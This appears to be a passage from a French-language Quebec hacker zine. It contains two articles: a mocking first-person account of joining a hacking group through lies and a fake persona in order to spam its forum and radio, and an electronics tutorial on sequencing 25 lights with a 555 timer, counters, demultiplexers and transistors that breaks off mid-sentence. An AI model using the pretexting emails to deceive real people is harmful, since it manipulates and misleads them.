Note : assurez vous de bien choisir votre crew car vous pourriez  tomber 
sur  un  vaporcrew,  le genre de crew qui dure au moin 1 grosse semaine. 
Pour les besoin de la cause jai choisit MATRAC, Un crew  d'elite qui ont 
ripper  les  photos  de  putois  (oui  oui  je  plaide  ta cause) et qui 
distribue  des  truc  l33t sur leur site comme des useless firewall pour 
win32 et des prog du genre Back Orifice 2000 et 7th sphere portscan.

Premierement il fallais me faire accepter dans leur clan. Comme ces crew
sont souvent bas sur  rien,  il  est  souvent  tres  facile de se faire 
accepter. Allez a votre boite e-mail altern et composez un mail du genre :

---------
Emeteur : dogtoor@altern.org (pour les pas-vite: dogtoor = root/god hahaha)
destinataire : root@matrac.org

Message :
Salut, je suis tres interes par votre offre de recrutement.
je suis hacker depuis au moin 3 ans et je manipule linux
depuis 1 ans.

Je programme en C , TCL , VB et en Html.
jai aussi de vastes connaisances en resautique unix.
---------

Maintenant vous devez attendre. Soit vous esayez de hax0r1z3r leur radio 
pour passer des messages erotiques a leur 2 auditeurs ou vous oubliez sa 
tout  simplement  et  vous  retourner  a  vos occupations   standar. Par 
exemple,  g463  retourne  coder  des  anal  shellcode  pour  biensur les 
penetrer (haha esti, humour overflow).

3 jour plustard vous recevez un reply du genre
--------
salut
cest exactement du monde comme tois que l'on cherche !

personelement faut je lavoue tes meuilleur que moi !!

en ce qui me concerne je me concentre beaucoup sur le hacking 
(telnet,ftp,tcp/ip) et  la  scurit  internet et je commence sous linux 
depuis  peu. J'ai aussi de bonnes connaisances en HTMl

maintenant jaimerais te poser quelques questions:
Quest ce qu'un lame pour tois?
Quel est ton objectif dans le mionde du hacking?
Quel est ton nick ? (redirection de mail)
tu vis au quebec ou en france?

bon maintenent on y va pour les reglements:
1-pas de chosses lames (trojans,O.o.b,Mailbomb)
2-Respect envers les autres membres
3-posseder une distrib de linux ou un autre system unix.
4-vouloir aprendre toujour plus (c'est notre but premier)
bon c'est asser tout pour ca

donc j'espre que l'on fera bonne equipe
FormATT

-------

Biensur  vous  prennez le temp de rire comme un malade. allez-y.... ok c 
assez.. ha pis non on  rit  encore .....  hahaha .....  Bon  stop. La sa 
commence a etre encore plus bretteux, visitez leur forum si il en ont un 
et  esayez  de  vous  montrer  interress  par  ce qui se passe. Pendant 
l'ecriture de cet article le focus etais tomb sur 2 membres qui  cetais 
fait virer, il est donc normal de  sinteresser  a  tout  ce  que  ces  2 
membres naiment pas.

Bon on va composer un mail qui va nous permetre de spammer des truc a la 
foix sur leur forum et dans leur radio. voici ce que sa donne.
-------------
Salut formatt.

Cesse de te rabaisser en disant que tu est moin bon que moi hehehe. j'ai 
pas encore fait mes preuves.

Voici les reponses a tes questions :

1- je ne croit pas avoir de definition dun lame sauf que.
   par exemple sur votre forum. il semble que ce qui se
   raproche a des lame essaie de vous embeter. (horus & cie)

2- je nai pas dobjectif precis dans le monde du hack puisque
   jarrive facilement a hacker tout ce que je veut. mon
   but est simplement de participer dans matrac pour le
   plaisir et fournir de laide si nessesaire.

3- Mon nick est dogtoor mais je ne vient pas souvent sur irc
   par ailleur je ne possede pas icq par paranoya.

4- je vit au quebec.

pour les reglements je croit que je suis OK car je possede
une machine qui tourne sous slack 7.1.

Jaurais moi aussi des question.
1- jaimerais etre dj pour votre radio. est-ce possible ?.
2- avez vous un chan irc et si oui sur quel resaux.
3- quand est-ce que je commence ? :) hehe.

jattend ta reponse.
DogToor
------------

La  on  atend  encore :(. Jai profiter du mail pour esayer de  me  faire
recruter dans la radio. comme sa je pourrai spammer des truc de mindkind 
lors de la sortie du zine. on va bien rire :).

Houra. 15 min plustard on recoit une reponse :
------------
Hehe c  vrai  que Horus et cie. sont un paquet de trouble: ils sonts fru 
paske  je le ais sacrer a la porte c po de ma fote si cest des lamers :)

C'est  surprenant  de  t'entendre dire que tu peux hacker tout ce que tu 
veux!  cest pas tout le monde qui se permettent de dire ca ! Donc  comme 
je te dis nottre but premier est d'apprendre donc dans ton cas tu pouras 
bien nous aider.  Tu  n'auras  pas a ecrire des textes ou des zines pour 
nous ou les autres   Seulement  su des gens te demandent de l'aide tu te 
dois de les aider

Tu  nauras pas besion de te servir de icq ou d'autres connerie comme Msn 
mesenger  en  raison  des  multiples failles (Buffers overflow ect.) Par 
contre  nous  utilisonts  beacoup irc  et si tu n'aime pas ca il faudras 
t'i habituer  :)
Server: Dalnet
Chan #matrac

Bien sur que c'est possible pour la  radio mais tu dis tout ca a AArnaud 
contacle le a : radio@jeux-video.org  (en passant c un francais)

Quand  ece  que  tu  commence:  hehe voila une bonne question tu n'a pas 
vraiment  de  projects  a commencer puisque que on ne fais que apprendre 
et parfois on essaye de hacker des servers ou d'en trouver d'ventuelles 
failles. Donc si  tu  conais  a peu pres tout en hacking tu pourais nous 
aider afin de tous nous  faire monter ne niveau.


Maintenant que tu est membre  Je vais te faire un mail de redirection sa 
sera: dogtor@matrac.org et tu menverra un pass pour avoir un acces a ton 
accunt a la section private members.
Formatt
---------

Donc  en  gros on est maintenant des membres en regles. je reply un truc 
du genre
---------
password : ?5DF4RD4FFR$f$$FRE666dogtoor34

jvais venir vous visiter sur votre chan le plus
souvent possible.
et pour les articles je veut bien ecrire pareil.
---------

Maintenant  le thrill cest de se faire accepter dans la radio. parce que 
sa va  etre  beaucoup  plus  drole :). donc  on  envoit  un   message  a 
radio@jeux-video.org  pour  lui expliquer comment on laime et combien on 
aimerait faire partie de sa radio. Voici ce quon lui ecrit :
---------
Salut Aarnaud. Je suis un nouveau membre de matrac  et  jadore ce que tu 
fais pour la radio c vraiment sympa.

formatt ma refer a toi parce que je veut donner mon  nom  pour faire le 
dj aussi. biensur je tariverai pas a  la  cheville mais :) heehe. Repond 
moi. !

Dogtoor.
---------

A  noter  l'utilisation  du  mot  "sympa"  qui  adoucit 88% des francais 
(./frsploit)
et encore une fois on essaie de vanter le gars a lautre bout. ce qui  me
rapelle une citation de wyzeman "le meilleur moyen de faire accepter une 
ide aux autres cest de leur faire croire quelle vient d'eux". hehe.

Entre  temps  il faut aller sur leur chan et devenir leur amis. Comme on 
est sur dalnet pas besoin de wingate puisque moi je me tien sur undernet 
donc pas de  chance  qu'un fut fasse un /who. ("Note : The Joy of pepsi
(pub gratuite)\n");

--------- 5 jour plus tard.

Finnalement on va conclure ici. Parce quil fait beau dehor pis  j'ai  un 
autre article sur la crypto (voir minkind #2) a commencer.

Jaimerais faire un "a propos de cet article" :

Vous etes surement en train de vous dire que cest l'article le plus lame
du  zine  et  meme de tout les zine qui ont pu sortir cette anne mais..
ATTENDEZ. On  va  faire un modprobe -v QI et reflechir une deuxieme fois
sur le fait que j'ai reussi a aplique une technique de social engeniring
a une chose totalement  insignifiante. En effet cetais le meilleur moyen
de  parler  de social eng sans recopier les 10k darticles deja parru sur 
le sujet. j'aurais  bien  fait sa avec une compagnie mais trasher a -20c 
pour
avoir des info c pas evident. :).

See - ya.

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'






<Wyzeman> on aurais ben eu une quote, mais on est allee marchee dans le
bois, fak on en a pas :]



                                                                  .--.
.----------------------------------------------------------------/  /--. 
|                                                               /  /   |
| L'electronique in a ledshell                                 /  / 15 | 
|                                                             /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

Et  non,  dans  mon prochain article vous n'apprendrez pas   hacker  la 
plante, dsoler. Donc il vous faudra voir la chose comme un  initiation 
au dveloppement intellectuel. Comme je voulais  vous  faire  passer une  
connaissance  sur  le  fonctionnement  basic  de  quelques   composantes    
lectroniques,  j'ai  jumel  plaisir,  ducation,  travail  et  temps a 
concevoir un petit cossin et ce  dans  le seul but de vous  montrer  son  
fonctionnement. Donc  aujourd'hui je vous prsente pour  la 1er fois, et 
srement pour la dernire, un petit  projet  simple, en somme, il s'agit
de faire allumer 25 lumires les unes  aprs  les  autres.  Simple  non? 
Alors voyons un peu plus  le  principe derrire tout ca. Tout d'abord il  
faut un but, dans ce cas ci, le but est de  faire allumer successivement  
25 lumires. En plus, on veut tre capable de faire  varier  la  vitesse 
de  dfilement des dites lumires et, comble de mal chance, les lumires 
ne devrons faire qu'une seule fois la squence complte (25 allumages).

Alors une fois qu'on a ces informations en mains, on doit savoir comment  
on  va parvenir   ce rsultat. On peut fabuler, penser    des mthodes 
ridicules..  trs ridicules extraordinairement ridicules..  peu importe, 
il nous  faut  une  ide!  Ici  comme  en  programmation,  on  sent  que  
l'exprience   ou  la  connaissance,  apporte  l'avantage  de   cre  un 
rsultat final plus petit, avec moins de cossins aux alentours.  Mais la  
ou la  diffrence est  assez  marquante, c'est  qu'en  lectronique,  il  
est difficile d'optimiser une fois que la base est en place! Dans ce cas  
ci,  j'ai  opt  pour  la  diversit,  je  vais  donc utiliser plusieurs  
composants  qui ont des  fonctions propres  chacune. En gros, voici les 
sections qui seront utiliss:

Section 1: L'alimentation. 
           Bien sur il nous faut pouvoir alimenter notre   cossin  avant 
	   tout. Cette partie peu complexe mais essentiel! Dans le cadre 
	   de notre projet, le circuit de contrle  sera alimenter   5v  
	   (comme  la  plus  part  de  ces  circuits)  ensuite  on  doit 
	   dterminer la source  la quelle on veut raccorder le montage 
	   (120v,240v,12v,35v etc..) Dans  le  cas  d'une   alimentation 
	   alternative (120v,240v) le circuit d'alimentation aura besoin 
	   de comporter une rectification du courant (donc un  peu  plus 
	   complexe). 

Section 2: Le Compteur.
           Comme nous devons faire une squence de 25  lumires, le tout 
	    une vitesse variable, j'ai utilis un  chip  oscillant (une 
	   clock) ainsi qu'une autre puce qui  me  sert  cre un nombre 
	   binaire (dcodable)

Section 3: Signaux d'allumage.
           Grce  notre nombre binaire Cree   l'tape 2  et    l'aide 
	   de deux chips de dcodage (des dmultiplexeurs) on  aura  nos 
	   signaux qui seront  aptes  faire allumer nos ampoules.

Section 4: Afin  d'allumer  adquoitement  les  lumires, on utilisera  
           rptitions des transistors.
            
Avant de commencer,  voici les composantes importantes du projet.

;Compteur 555 (un grand classique)
 Ce  chip  n'a  qu'une  seule  utilit, cre un signal oscillant. L'onde 
 carre qui en  sortira  est essentiel  l'activit du circuit (en somme, 
 on peut voir  ce  system  comme la clock de votre PC!). Il s'agit d 'un 
 chip de 8 pins.

;Compteur double 4 bits. (74LS393)
 Ce circuit contient deux compteurs binaires 4 bits :
 0000
 0001
 ....
 1110
 1111 
 
 Bon  en  fait  avec   ce  type  de compteur on peut atteindre 16  tats 
 diffrents par compteur, (et on en a 2). Comme on a 25 ampoules  faire 
 allumer, on devra utiliser ces deux compteurs en cascade (la  sortie de 
 l'un dans l'entre de l'autre). 

 3210  Bits
 ~~~~
 0000  tats
 1111

 Dans ce cas ci, le bit le plus significatif est le bit #3, car  il  est 
 celui qui  variera  le  moins.  En  somme  les  autres  bits  varierons 
 plusieurs fois avant de faire varier le 3e.  Il  est facile de voir que 
 le changement  de  bits  va de paire avec  le signal de la clock,  plus  
 celle-ci  vas vite, plus le compteur ira vite   son tour.  Le chip qui 
 compte  une entre pour  la  clock,  c'est la qu'on y racodera la sorti 
 oscillante  du  555.  Cette  entre  de  la  clock  marche   avec   les 
 variations des tats de l'onde care qui est  fournie  par  le  555.  En 
 somme, il faudra deux coups de clock du 555 pour que la sortie du bit 0
 du compteur change d'tat.  Et le mme  phnomne  se   produit  encore 
 entre les autres bits :
 Le bit 1 ira deux fois plus vite que le bit 2.  Le bit  2 ira deux fois 
 plus vite que le bit 3. Et le bit 3 sera 4 fois plus lent que le bit 0. 
 Il suffit d'numrer les nombres binaires a partir de 0  une frquence  
 rgulire  pour  s'apercevoir du phnomne!
 
 Donc comme on a besoin de plus de possibilits de  dcodage  qu'un seul 
 compteur nous offre, il nous faudra linker un autre compteur au premier  
 (ca tombe bien,  le chip  qui compte en possde justement deux!)
 
 Alors   la   mthode  simple  c'est  de  prendre  la  sortie  la   plus 
 significative du premier compteur et l'envoyer dans   la  clock  du  2e 
 compteur. En  somme,  comme  l'entre  de  la clock prend deux coups du 
 signal pour Switcher d'tat,  le bit 0 du 2 e compteur sera  deux  fois 
 plus lent que le signal de la clock,donc du bit le plus significatif du 
 1er compteur. Il vous faut un exemple :
 
 Compteur2    Compteur1
 ~~~~~~~~~~~~~~~~~~~~~~
   3210         3210    | Bits
   ~~~~         ~~~~
   0000         0010    Compte fictif                
    ...          ...    Le temps passe.
   0000         1111    Le 1e compteur atteint son maximum
   0001         0000    Le 1e compteur se reset, recommence et
                        le 2e compteur  lui s'incrmente de 1.
    ...          ...    Le temps passe.
   0001         1111    Le 1e compteur atteint son maximum
   0010         0000    Le 1e compteur se reset,  recommence et
                        le 2e compteur lui s'incrmente de 1 et
                        atteint la valeur suivante.

 En somme ici, on se trouve non plus avec un compteur  4  bits
 mais avec un compteur 8 bits.

 Compteur2    Compteur1
 ~~~~~~\\\\~~////~~~~~~
       7654 3210    | Bits Jumels
       ~~~~ ~~~~
       0000 0000
 
 Ce nouveau compteur ainsi cre nous offrions alors 256 possibilits. Ce 
 qui est suffisent, tellement que nous  allons seulement  prendre le bit 
 0 du 2e compteur et les 4 bits du 1er compteur.. ce qui nous porte  32 
 possibilits (pour nos 25 lumires):

 00000
 00001
 00010
   ...
 11110
 11111
 
 Une dernire spcification de ce compteur, il possde 14  pins,  chaque 
 cote correspond  un  compteur  donc  7 pins.  Sur  ces  7 pins, 1 sert 
 de clock, 4 servent de bits de sortie et une   l'alimentation. Il nous 
 reste donc une pin seule, et cette pinest un  ENABLE.  Quand le voltage 
 sur cette pin est  0v,  le  compteur  compte  normalement,  mais si un 
 niveau logique 1 (5v) est appliqu  cet endroit, le compteur arrte de 
 compter, et se reset au compte 0000. Il reste la temps que la ligne est  
  5v. Si elle redescend  0v,  le compteur repart  alors.  Cette  ligne 
 sera trs utile si on veut  arrter  le  compteur, comme dans notre cas 
 aprs la 25e et dernire lumire.

;Demultiplexeur 4bits (74LS154)
 Une autre merveille technologique,ce chip qui possde 24 pins,  sert   
 prendre  un  compte  binaire  4  bits et   le  redistribuer  la ligne 
 associer.  par  exemple   si  le  compte   binaire = 0101  il s'agit du 
 chiffre  5,  donc  la  pin 5  du chip  switchera au niveau logique bas, 
 tandis que toutes les autres lignes seront    un  niveau  logique haut 
 (1)(5v). Sur ce chip, comme il s'agit d'un  dmultiplexeur 4  bits,  on   
 retrouvera   16   lignes (possibilits) qui pourront  tre  active. On 
 retrouve 16 lignes (possibilits)  + 4 lignes (entr du compte binaire) 
 = 20 pins, + 2 pins d'alimentation = 22 pins. Les deux  autres pins qui
 restent sont, comme dans le cas du  compteur,  des  ENABLE  qui  active 
 ou dsactive le dcodage.

;Transistors 3906(PNP)
 Un transistor est un lment  3 pattes qui sert  essentiellement (dans 
 notre cas)  d'interrupteur.  Les  lumires  qu'ont  veut  allumer  sont 
 aliments  12v, et  la sortie de notre dmultiplexeur, on a que 0v ou 
 5v. De plus,  le  dmultiplexeur n'est pas fait pour  fournir  beaucoup  
 de  courent.  On  passera donc par un  transistor. Les transistors sont 
 des composantes qui amplifie le  courent de sortie   l'aide d'un  gain 
 (facteur propre  chaque  transistor). Dans  notre  cas,  on  utilisera  
 le transistor au  maximum (FULL CONDUCTION) ou  l'arrt.Il existe deux 
 types de transistors: NPN et PNP.Les deux se ressemblent beaucoup, mais
 dans le cas du montage pressent,  on  veut fournir  un voltage (12v)   
 une lumire qui sera reli au ground. Et le signal qui  fera  en  sorte 
 d'activer  le tout  est un signal de 0v qui nous sera  fournit  par  le  
 dmultiplexeur.  Chaque transistors  est compos de 3 pattes, l'une est 
 appel la BASE et joue le  rle  d'un  interrupteur.  Une  est  appeler 
 l'EMETEUR  et est la source  du  courent  qui sera utilise,  ici  notre 
 source est le  fameux  12v.  Pour  finir  la  dernire  patte  est   le 
 CONNECTEUR sur lequel est connecter  la "chose"   alimenter!  Comme le  
 transistor marche avec le courent, il lui faut une rsistance  sa BASE.
 

Bon aprs cette brve description, voici en dtail les sections:

Section 1:L'alimentation.
 Le circuit fonctionnera dans ce cas ci  12v.  Les  transistors  seront 
 directement  alimenter sur ce voltage. Pour abaisser le  voltage    5v 
 (pour nos circuits de contrles)  on utilisera un rgulateur: 7805 ( ce 
 dispositif permet, comme un transformateur, d'abaisser la tension, mais 
 contrairement au transformateur il  occupe  beaucoup  moins  de place.)  
 La pin du centre est la  pin  du  ground, que l'on vas relier au ground 
 de la source de  12v. la  pin  1  est  la  pin de l'alimentation source  
 (donc le 12v) et la  pin  3  est  celle de l'alimentation de sortie (en 
 thorie 5v). Avec le lien de 5v, on alimentera toutes les chips. 
           _____
          |o o o|            Vue de dessous, (en fait les pins de cette
           ~~~~~             faon devrait vous crever les yeux!)
           1 2 3             la :" ~~~~ " reprsente la partie en mtal
                             (dissipateur).

 Une dernire note sur le 7805, il est normal que celui-ci chauffe,  par 
 contre si vous vous brlez dessus avec un  circuit  comprenant  peu  de 
 composent, vrifier vos branchements.  Ce  petit chip n'est  pas  conu 
 pour rchauffer une maison,mais le simple fait de relier les  pins 2 et 
 3  (cours circuit)..  aurait  comme consquence un dgagement d'nergie 
 susceptible d'atteindre les  120  degrs  celcius. Si   par  contre  en 
 rajoutant des composantes il augmente en temprature, n'ayez  pas peur,  
 rajouter  lui  simplement un Heat-sink.  (et oui  comme  pour les CPU).  
 Ce  cossin  peut  driver  0.5   Ampres   sans   Heat-sink,   mais  par  
 exprience,   0.5 Ampres, je me brlait les doigts  dessus  alors  si 
 vous voulez attendre le 1 Ampre (thoriquement  le  maximum)  il  vous 
 faudra absolument un de ces dissipateur!
 
Section 2: Le Compteur.
 L'oscillateur 555 se plug comme suit:
                 
                   555  
                  _____
    Alim.Gnd   --|1   8|-- Alim.Vcc (5v)               
    Pot pin 1  --|2   7|-- Pot pin 2   +  Rsistance 1k avec le Vcc (5v)  
    Clock      --|3   6|-- Condensateur 10uF au Ground + Pot pin 3
    Vcc(5v)    --|4   5|-- Condensateur 1pf au Ground
                 `~~~~~`
 Les mentions "Pot" font rfrence   un  potentiomtre,  en  somme  une 
 rsistance variable (200k) qui servira  faire  varier  la  vitesse  de 
 la clock (un espce de orverclock mais contrler!)

 La pin 1 du potentiomtre est le dbut de la rsistance,la pin 2 est la 
 pin "variable" et la pin 3 est la fin de la rsistance.

 Potentiomtre classique: 
                             _______
                            |   _   |
                            |  (_)  |   
                            |_______|
                              | | |
                              1 2 3

 Bon  commencez  par  brancher  le  555  adquatement en vous servant de 
 l'alimentation  que  vous  fournis  le 7805 ( rgulateur )  et  si  une
 oscillation se passe  la pin 3 du chip, tout va  bien!  Si  avec votre 
 multimtre (en mode Voltage) vous avez  de la  difficult   bien  voir 
 les changements,  n'hsiter pas  brancher une LED avec  une rsistance 
 de 470 ohms au ground.Oublier pas qu'une LED  ca  la  un  sens!, prenez 
 donc cette LED  et placer la devant une  lumire,    l'intrieur  vous 
 verrez  deux bouts  de mtal sparer  l'un  de l'autre, le bout le plus 
 gros est la  partie ngative,  donc vous  devez  la  relier  au Ground. 
 Vous devriez voir  un beau flip flash.  tien une belle utilit pour des 
 systmes anti-vols bidons).
 
 Bon dans cette mme section on a aussi le chip qui  sert    compter en 
 binaire (74LS393). Le branchement est assez standard, en fait il s'agit 
 de trouver l'encoche sur le botier du chip pour savoir ou se trouve la 
 pin 1.

    14  12  10
      13  11  9 8 
    /_/_/_/_/_/_/          Remarquer que le petit trou : o
   |  74LS393N  |          Indique la pin un. Le restes des pins se
   |o___________|          dcode comme sur l'exemple  cote!
    \ \ \ \ \ \ \          Donc on voit un espce de lecture des pins
     1 2 3 4 5 6 7         en U. Ce qui veux dire que la pin 1 est
                           toujours en face de la pin la plus lever.
 (Vue du dessus bien sur!) Dans ce cas ci: 14.
                           Un autre truc, si vous pouvez lire le 
                           numro de srie du chip, (a l'endroit)
                           trs souvent la ranger sous l'e numro
                           est la 1er, donc la 1er pin  gauche et
                           la pin #1.

 Une fois cette nomenclature passer, je reviens sur le fait que ce  chip 
 est assez "standard" en se sens que la plus part,  de  circuit logiques  
 (pas  tousje  dirais 85%)   on   leurs  alimentations   aux  pattes des 
 extrmits.  Soit la  dernire patte  en bas de  la  1er ranger  et  la 
 dernire patte du chip. (dans ce cas ci : les pattes  7  et 14) dans la 
 1er srie  de  pins  (ou se trouve  la  1er)  la dernire  pin  (pin 7) 
 est  alimenter  au  ground  (0v), tandis que la dernire pin du circuit 
 est alimenter au Vcc (5v).

 Sur  ce  chip  la,  la  pin  1   est  l'entre  de  la  clock (que nous 
 fournie l'oscillateur 555)  Bon le  branchement est assez  facile, vous 
 prenez-la  sortie de clock du 555 et vous la relier  la  pin 1  de  ce 
 chip! Je vous ai  spcifier  prcdemment que   ce  circuit  comprenait 
 deux  compteurs binaires de 4bits. Et ces merveilleux, car le design du 
 chip fait en sorte que ces deux compteurs occupent chacun une partie du 
 circuit (un les pins 1  6) et l'autre  (les pins 8  13). Bon les pins 
 2  et  12   servent   de   ENABLE,  sur un niveau logique haut (5v), le 
 compteur  associer (le 1er ou le 2e) sera forcer au compte  Zro  (0000 
 en binaire).  Cette option est utile  pour  arrter  le  compteur  mais  
 pour  nos  test  et la fonctionnalit du circuit bin vas falloir placer 
 les linges  2 et 12 au Ground (0v) ce qui aura comme effet de mettre le  
 compteur  actif. Les  lignes  3,4,5,6  sont  respectivement les sorties 
 binaires 0,1,2,3 (ou 0 est le moins signifiant et 3 le plus signifiant).
 Ces  pins  nous  seront  utiles  tout   l'heure,  pour le moment notez
 seulement   que  la pin #6  (bit 3) (donc   le    plus   significatif), 
 servira de clock  pour le 2e compteur, donc la pin #6 sera relier   la 
 pin #13. Ceci aura  comme effet de cre uncompteur  8  bits  avec  deux 
 compteurs 4 bits. (tel qu'expliquer plus haut).
 
 Et voila cette partie est terminer, si vous voulez tester votre montage 
 (du moins ce qui est fait  prsent), c'est simple: Placer  une LED sur 
 le signal de  la clock  (comme  je vous  avais suggrer plus haut)  Une  
 fois que  celle-ci  flash,  ajuster  la  vitesse avec le potentiomtre, 
 de faon  bien voir les transitions. Ensuite  avec  votre   multimtre  
 (toujours en Volt) aller voir les donnes  (aux pins 3,4,5,6,11,10,9,8.  
 Celles-ci  devraient  s'incrmenter (suivant la logique binaire). Comme  
 il c'est pas trs visuel, si vous voulez tre sur du bon fonctionnement  
 du compteur, faite comme pour le signal de  la clock du 555, relier une 
 rsistance de 475ohms  une LED  qui  sera relie  au ground (0v). Vous 
 devriez  alors  voir  les  nombres  binaires sous forme de lumire!  Un  
 dernier  conseil,   si  le  compteur  compte  tout  croche,  mettez  un 
 condensateur de 0.1uF entre le Ground  et  le VCC qui alimente le chip, 
 il semblerait que celui-ci soit assez sensible aux petites imperfection 
 dans le voltage d'alimentation.

Section 3: Signiaux d'allumage.
 Afin de gnrer les signaux qui allumeront nos 25 lumires, nous aurons 
 besoins de dcodeur binaire (demultiplexeur). ( Putin   shu sur  qui  a 
 personne qui me lis.. faite moi le savoir si je fais ca  pour  rien  ma 
 arrter  la!)...   Donc  je  vous  suggre  de  relire  plus  haut  les 
 spcifications de ce  chip,  question de pas  me rpter et  de prendre 
 1k de plus sur votre HD!   Bon,  alors  en  premier  lieu  on va devoir 
 cre un bus de donne de 4bits (et oui je sais que votre PC en  possde 
 beaucoup plus mais c'est pas une raison  pour renier  le  principe!) Ce 
 bus est facile  faire, en fait il est  dj   prsent   la  sortie du  
 compteur 4 bits, soit les pins 3,4,5,6.  Un  simple exemple suffirait  
 vous convaincre: brancher ces  4  pins  aux endroits  approprier sur le 
 demultiplexeur 4bits,  ou  les  pins  23,22,21,20  sont  respectivement 
 les bits  0,1,2,3.  Donc  il  vous  faudra suivant cette logique relier 
 les pins comme suit :

  Compteur            Demultiplexeur
        PIN                       PIN
         3 --------------------->  23
         4 --------------------->  22
         5 --------------------->  21
         6 --------------------->  20


 Suite    cette  difficile  opration,  relier les pins  18 et  19   du 
 demultiplexeur au Ground, ces pins servent toutes deux de ENABLE, quand 
 le signal est  5v (1 logique)  le chip ne dcode  pas  les signaux qui 
 lui son  appliquer  tandis  qu'a  0v   (0  logique)   le  systme   est 
 activer.  Aprs cette prieuse manoeuvre, activer le  circuit que  vous 
 avez fait j'usqu' prsent. (J'espre pour vous  que   vous  avez  dj  
 tester  la   fonctionnalit  des  sections prcdentes. Donc en thorie 
 votre compteur  devrais  transmettre   un  compte  binaire  4  bits  au  
 dmultiplexeur  et celui-ci devrais  activer  ses  pins  de  sortie  en  
 fonction  du  code  appliquer. Un simple  test   effectuer  pour  bien  
 comprendre  le  principe: dbrancher le bus d'avec le compteur. Ensuite 
 appliquer un nombre binaire  de  faon  manuel. Par exemple  en mettant  
 l'entre  de la  pin  23  0v, 22  5v, 21  5v et 20  0v.  on obtient 
 le nombre 6 (0110).. ensuite aller  la pin 6 du chip, celle-ci devrait 
 tre   zro  car  le chip  est actif sur des niveaux logique bas (0v).
 Bon si aprs avoir brancher le tout,vous t  capable  de  "dcoder" 16 
 signaux de faon rptitive,  tout va bien!  Passons  alors    l'tape  
 suivante..  pour  les  autres,  c'est  une  question  de dbugguage qui 
 faudra srement venir m'expliquer!

 Bon  on  pourrait  faire  allumer 16 lumires, mais on voit plus grand! 
 Alors  vas  falloir  faire  de notre bus  4bits un bus  5  bits  afin 
 d'avoir la possibilit d'adresser  32  diffrents tats! Pour se faire, 
 comme le chip ne  comporte que  16  sorties  possibles il  va  nous  en 
 falloir un second. Mais vous savez dj que ce  mme  chip  ne  dispose 
 seulement que de quatre  entres pour  les donnes!.. Et non  cinq!   Un 
 tweek sera donc ncessaire.  La  sortie  du  2e  compteur  (pin 11) qui 
 se trouve  tre  notre 5 bits   car  nos  deux  compteurs  son  relier 
 ensemble.De cette pin 11 la on relira un fil directement  la pin 19 du 
 1er demultiplexeur.  Et de cette mme 11 du compteur  on passera par un 
 inverseur logique, et la sortie  de cet inverseur ira  la pin 19 du 2e 
 demultiplexeur.  Ce  qui aura  pour  effet de permettre un "switch" des 
 deux puces de dcodages.  Comme la pin 19 sert de ENABLE et qu'elle est 
 active  un niveau logique  bas (0v) quand le compte commencera, le bit 
 5 sera   0v, ce qui activera le  1er  demultiplexeur,  tandis  que  le 
 second  sera  inactif,  car  ce  mme  bit 5 sera inverser, ce qui aura  
 comme consquence qu' la pin 19 du 2e demultiplexeur on aura un niveau  
 logique  haut (5v). Par la  suite, quand le compte atteindra 16 (10000) 
 le bit 5 sera  1, donc  le 1er demultiplexeur sera  dsactiver mais et 
 le second par contre  s'activera.  En  somme les deux  chips auront  le 
 MEME bus de  4 bits  (qui viens du 1er compteur),  mais  ils dcoderont  
  tour de  rle chacun une partie. Donc passons  l'inverseur:

 L'inverseur est  un 74LS04, ce type de puce est un trs grand classique
 et son fonctionnement est des plus lmentaire! :

    14  12  10
      13  11  9 8 
    /_/_/_/_/_/_/          Remarquer que le petit trou : o
   |  74LS04N   |          Indique la pin un. Le restes des pins se
   |o___________|          dcode comme sur l'exemple  cote!
    \ \ \ \ \ \ \          Donc on voit une espce de lecture des pins
     1 2 3 4 5 6 7         en U. Ce qui veux dire que la pin 1 est
                           toujours en face de la pin la plus lever.
 (Vue du dessus bien sur!) Dans ce cas ci: 14.
 
 Comme il s'agit d'un classique, l'alimentation se trouve   la  pin  14 
 (5v) et  la pin 7 (0v). Le reste des pattes  est trs simple, la pin 1 
 est l'entre la pin 2 est la sortie. Et ainsi de suite:
 3=IN, 4=OUT
 5=IN, 6=OUT
 9=IN, 8=OUT
 11=IN, 10=OUT
 13=IN, 12=OUT
 
 Le  principe  est  simple,  si  on applique 0v (niveau logique 0)  une 
 entre,  la pin de sortie qui lui est associer sera  5v (niveau logique 
 1) et vice versa. D'o le nom INVERSEUR!
 
 Si  on  revient    notre  montage, on part donc un fil de la pin 11 du 
 compteur  directement vers la pin 19 du 1er multiplexeur, et cette mme 
 pin 11, on la relie  la pin 1 de  l'inverseur.  Par la suite, on prend 
 la sortie (pin 2 de l'inverseur)  et  on  la  relie    la pin 19 du 2e 
 demultiplexeur.

 Donc  cette fois  si tout est prs,  mettez le jus, pis checker  si les 
 deux demultiplexeurs dcode les signaux  tours de rles.  Vous  pouvez 
 aussi vous servir de la mthode "Manuel"  d'on j'ai parl plus haut!


Section 4: Driver les lumires.
 Comme  notre  circuit  logique  qui  fait  la  job "logique" fonctionne 
 seulement  0-5v, va nous falloir du jus plus lever pour faire allumer 
 nos  tites  lumires!  Pour ce faire, on  va  avoir  besoin  de  petits 
 transistors! Avant des plugger  toute  suite,   on  vas  commencer  par 
 voir comment a marche!

 -=[Transistors PNP]=-
 
                  Connecteur
 12v Vcc _____    ___@___ GND 
             .\__/
   Emeteur      | Base                       @ = Lumire!
                <
                > <-Rsistance
                <
                |

 Afin d'enclencher la conduction du transistor pour allumer  la lumire,
 il nous faut drainer du courrant dans le cas d'un PNP. En somme,  c'est 
 un peu comme  si  on  permettait    un  petit  courent de passer de la  
 branche  du 12v au Ground et que par cette  "opration" le chemin (12v)  
 se  linkerait  aussi  avec  celui  de  la  lumire. Comme ce dispositif  
 fonctionne  avec  un  gain, si  le petit courant introduit  la base du 
 transistor est de 5ma, et que  le  facteur de  gain  (Hfe)  est de 100,  
 le transistor  laissera  passer 500ma  dans la lumire. Afin d'utiliser 
 le transistor en "full conduction", il faut laisser  passer  un  nombre 
 prcis d'ampres. Pour se faire supposons que  nous avons  une  lumire  
 qui  consomme  500ma, et  que  notre transistor a un facteur Hfe (gain) 
 de 120.  nous  devont  donc savoir  quelle valeur mettre la rsistance 
 situe   la BASE. 

 Premire tape: Trouver le courent ncessaire  la BASE :
   Courent besoin / Gain --->   500ma / 120   = 4.17ma

 Deuxime tape: Trouver la rsistance
   Voltage Vcc - 0.7v / Courant  la BASE ---> (12-0.7) / 4.17ma = 2710 ohms
   Et comme videment une rsistance de 2710 ohms c'est rare, on 
